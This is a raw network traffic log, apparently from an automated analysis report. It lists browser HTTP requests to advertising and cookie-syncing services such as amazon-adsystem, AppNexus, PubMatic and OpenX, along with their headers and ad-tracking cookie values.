Source: global traffic	HTTP traffic detected: GET /ecm3?rcode=1&ex=imdb.com HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /Serving?cn=cs&rtu=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsizmek%26id%3D%5B%25tp_UserID%25%5D HTTP/1.1Host: bs.serving-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=connatixHMT&id=OZuBC1poRAKq_qRboEaExQ HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /getuid?https://s.amazon-adsystem.com/ecm3?id=$UID&ex=appnexus.com HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M40<D>6NRF']wIg2E?d?=+XZNZQ64?TJMhB6Y.<3Q9(!1DDYd+:z>x+eapOV%acua5_RUeJB46T5oe6_4$OUo[6<K`vN[#K?xmey)PK#^V)$pE:'C?c>Afr*yWL3=fL[F7t0SIj4s<EL@5S%v4VB%ns>)/F-Zd
Source: global traffic	HTTP traffic detected: GET /engagement/getpixels?gid=15654 HTTP/1.1Host: bttrack.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
Source: global traffic	HTTP traffic detected: GET /api/v1/dsync/amazon?exid=IoDspU2wQteYp1WkLseR6w&r=https://s.amazon-adsystem.com/ecm3?ex=KargoHMT&id= HTTP/1.1Host: crb.kargo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=index&id=LwMvj4H4odxwUkfweFe5RDc4dU04ZgIC HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /v1/get_or_create?gdpr=0&domid=1109 HTTP/1.1Host: cookie-matching.mediarithmics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/lci/sync/adv-amzn/c-23445/?rdr=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3F%26ex%3Dninthdecimal.com%26id%3D%24%7BND_UID%7D HTTP/1.1Host: lciapi.ninthdecimal.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=adobe.com&id=15028710952493579300771312513576972253 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzgmdGw9MTI5NjAw&piggybackCookie=8HqdmD-3T2Kfc3JXiy0NuQ&rd=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DpubmaticHMT%26id%3D%24%7BDSP_UID%7D HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /load/?p=204&g=8888&j=0 HTTP/1.1Host: loadus.exelator.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EE="255938791ef4d4d26431397836a1a4e2"; udo="gAAAAAQAAAUqKLUv%252FWAqBIUaAFZuqUgQq1gHAKAIAHBXgOF%252FFEHFT%252FV5FwvgdHJcVReNGBBHRMsw8u2eCsYgC5tNcO7XTugjsM2EhPZpBWFPtpvFYGRgyw1XkgUenQKUAJQAlAAkz5%252BokUGOQYzjMgoTMu9OR3MyI1TBMgwLITXR08bJ1hyDvF11VLqaPhORR8zAHY5DvHXtkCsayU9IfymbpnlaBQ8mtwahdJ7b%252BeiPi0jx4zqHvL1w4EGcqfOj5PXR9vc%252FwL8o4gHDkJXXG0L8f8S%252FvLy8PIH%252FB6DgXUDa%252Fu6Qy3Fa0xINETigjET8e2BTroG1ty%252BFInatPeWholIS5izRlF07CIOKiZYjs0zXUYvMnxaGYe0shHTltDKNBvO6TKbJTlLtqnaQPFYbtnkzqD%252BO84gvsFI6e5alCqTm6JFvMYV0npgU2tdSxWyYs7f9zBCOulWiLjjqDVHG2KwGqjGL44jL0wjlcaYk1kmJuqJRh5nEHye0XVnE0PozAcVWRU1THWwHVxkkCisrqmqCppIQIsIg95AkD%252FN2hWDwEMQ1PKsBD%252BKDuxmue3EG2Gmyik3LKjJcxQZlg0S%252BgUfetkBb%252FLb70WKYR61zZVZmto3G27KNy2gmZ3KlnnmazeZ1nYZ5F1AMvZose8eswWqgEjnQI6jjvo2Dc%252F40bMs2GIObjePA7NO%252BTGfTOhzmXTI6m8O0zc2Th2u19YpkfwE%252FIvG%252F8h5aJlomOhT4DyaH%252Br5U1OkNUUnuq1QavS%252BWNd9NQoTi%252FxEEeAEf8RESIm%252BxeV53YY4sMszEXpQsGLzLmZosF0nLq8AuHixAe4IdokC7hfCDPRyHVqYUmqJcrw4Tayp5bVBsmWABKcGVZW3dlinZnB8UIOepNFshqxeLlv38zvJE6iqbQvIROVx%252Frv8RCRYOVcsEi6kKQihAAkKQQ2YeEWBAaBmpGimJDdsBVIULkxxfIYAnSfWSNIdSPhAWhwK%252FJ1uzEcsFAmjGYSBFX4k06VqEI4GXoHC2uKe6kHntaECnXkFwBVgP9QQPXwwlO4IpwINRWAxKXgLBF7ruk%252FZB%252BuBzsnhv1XWgddNgTTKTbPWWMkiHGr5AJs8QD%252FbgEQriS4vUa%252BchvvyabhlXC44bqcN2BqHd3f5l4xDUl90T"; ud="eJxrXxzq6XKLQcHI1NTS2MLc0jA1zSTFJMXIzMTY0NjS3MLYLNEw0STVaHFZatGCpaXFqSlJh5ZU5JTkNK0uiw91jHdz9PX0iVzmnFGUn5u6AiwU5hq02NDQfEl%252BUWb6otDgxUUpaQyLSopPBR%252B%252FlgIAVAkp1A%253D%253D"
Source: global traffic	HTTP traffic detected: GET /ecm3?id=6116765264039870456&ex=appnexus.com HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072986&val=IU6Tn8pARVKPmCDwMrtS3Q&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DopenxHMT%26id%3D%7BOPENX_RTB_USERID%7D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=07378af9-3c0a-4f02-9a30-ee1d85f0ce79\|1716590776
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=index&id=LwMvj4H4odxwUkfweFe5RDc4dU04ZgIC HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /api/v1/dsync/amazon?exid=IoDspU2wQteYp1WkLseR6w&r=https://s.amazon-adsystem.com/ecm3?ex=KargoHMT&id= HTTP/1.1Host: crb.kargo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ktcid=6319c288-41f9-0f33-5a22-3483ce329f63
Source: global traffic	HTTP traffic detected: GET /ecm3?&ex=ninthdecimal.com&id=2C431E0AC31851662500575602FA372F HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /lm/acs?json={%22GUID%22:%22f61b9649-e91d-4cf8-896a-9588ddfc6d14%22,%22Time%22:%2220240524T224626.554626%22}&rtu=https://s.amazon-adsystem.com/ecm3?ex=sizmek&id=[%tp_UserID%] HTTP/1.1Host: lm.serving-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u2=f61b9649-e91d-4cf8-896a-9588ddfc6d144Sr060
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=adform.net&id=7524711333367321108 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=pubmaticHMT&id=8HqdmD-3T2Kfc3JXiy0NuQ HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /sync?pn_id=amazon&id=QKgTnQyQRDSeGLrmn4OV6w&redir=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DyieldmoHMT%26id%3D%7B%7Buserid%7D%7D HTTP/1.1Host: sync-amazon.ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?id=UmOkNgvbkM5WJzR4crmtrA&ex=rubiconproject.com&status=ok HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?&ex=nielsen&id=255938791ef4d4d26431397836a1a4e2 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?id=6116765264039870456&ex=appnexus.com HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=openxHMT&id=IU6Tn8pARVKPmCDwMrtS3Q HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?&ex=ninthdecimal.com&id=2C431E0AC31851662500575602FA372F HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=sizmek&id=f61b9649-e91d-4cf8-896a-9588ddfc6d14 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9212284268 HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVQAAAAAAB
Source: global traffic	HTTP traffic detected: GET /sg/amazon-a9-network/1/rtb HTTP/1.1Host: sync.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=adform.net&id=7524711333367321108 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=pubmaticHMT&id=8HqdmD-3T2Kfc3JXiy0NuQ HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=yieldmoHMT&id=QKgTnQyQRDSeGLrmn4OV6w HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /input?key=GOO&key=GOO&action=GET_ID&opid=goo&etid=&domid=1109&ops=apx&google_error=3 HTTP/1.1Host: cookie-matching.mediarithmics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?id=UmOkNgvbkM5WJzR4crmtrA&ex=rubiconproject.com&status=ok HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?&ex=nielsen&id=255938791ef4d4d26431397836a1a4e2 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
